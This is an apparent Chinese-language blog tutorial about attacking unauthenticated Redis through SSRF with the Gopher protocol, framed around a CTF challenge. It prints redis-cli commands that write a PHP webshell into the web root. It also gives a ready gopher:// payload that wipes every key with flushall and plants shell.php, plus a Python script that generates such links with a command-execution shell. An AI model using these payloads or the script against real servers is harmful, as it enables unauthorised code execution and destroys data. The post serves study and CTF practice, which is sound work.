沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

从初识Redis到利用脚本的编写

0x00 概述

Redis

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

一般人们把数据库(mysql等)中常用的数据,放入到Redis中,作为数据库缓存,来提高性能。

SSRF

preview

如图所示,SSRF(Server-Side Request Forgery:服务器端请求伪造)就是利用能够被外网访问的Web服务器来访问并攻击与其在同一内网中的其他主机。

Gopher

Gopher 协议是 WWW出现之前,在 Internet 上常见且常用的一个协议。现在 Gopher 协议已经慢慢淡出历史。

虽然Gopher渐渐淡出历史,但是我们仍然可以在一些特定情况下,SSRF可以使用它来攻击内网中的服务器

0x01 Redis未授权访问漏洞

介绍

部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

Redis默认的端口是6379,如果没有进行一些安全配置,并且可以被远程登录,就会造成未授权访问漏洞。以下以写入Webshell为例。

0x02 Redis写入Webshell

redis-cli -h 192.168.3.134 #连接Redis

config set dir var/www/html #设置要写入shell的路径 (将redies的数据快照目录设置为…)

set your_key “\n\n\n\n\n\n” #写入shell到your_key键

config set dbfilename shell.php #设置快照文件名为…

save #将当前 Redis 实例的所有数据快照(snapshot)保存到硬盘

通过以上命令,我们便可以在var/www/html下写入一个shell.php, 但是是在shell里执行的,如果要在URL中发出一个Redis的请求,我们需要了解一下Redis客户端和服务端通信使用的RESP协议。

0x03 Redis的RESP协议

img

举个例子

redis> SET mykey "Hello" 
"OK"

上面的命令将键mykey的值设置为Hello

则发送的请求为

*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$5\r\nHello\r\n

*3表示参数数量为3,即:set、mykey、hello

$3表示参数字节数为3,即:set的字节数为3,***$5***同理|

收到的响应即为

+OK\r\n

0x04 利用SSRF中的Gopher协议进行攻击

payload的构造

这里借助GITHUB上的Gopherus中的payload来说明

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$37
<?php echo system("cat /flag");?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

flushall把数据库中的所有key删除(😅大概是怕了键名冲突吧,把别人键全删了,怪不好的)

脚本

    def get_Redis_PHPShell():
        web_root_location = raw_input("\033[96m" +"\nGive web root location of server (default is /var/www/html): "+ "\033[0m")
        php_payload = raw_input("\033[96m" +"Give PHP Payload (We have default PHP Shell): "+ "\033[0m")
        default = "<?php system($_GET['cmd']); ?>"
        if(not php_payload):
            php_payload = default
        if(not web_root_location):
            web_root_location = "/var/www/html"
        payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$""" + str(len(php_payload) + 4) + """\r
""" + php_payload + """
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(web_root_location)) + """\r
""" + web_root_location + """\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*1\r
$4\r
save\r
"""
        finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
        print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m"
        print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
        print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m"
        print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"

如果你把之前写的都看过了,看懂这个脚本应该没有问题。

0x05 参考文章

GKCTF2020-EZ三剑客-EzWeb | M4XLMUM (a16n.github.io)

Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户

图解Redis通信协议 - 简书 (jianshu.com)

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

Redis系列漏洞总结 - FreeBuf网络安全行业门户

Redis未授权访问详解 - FreeBuf网络安全行业门户

利用 Gopher 协议拓展攻击面 (chaitin.cn)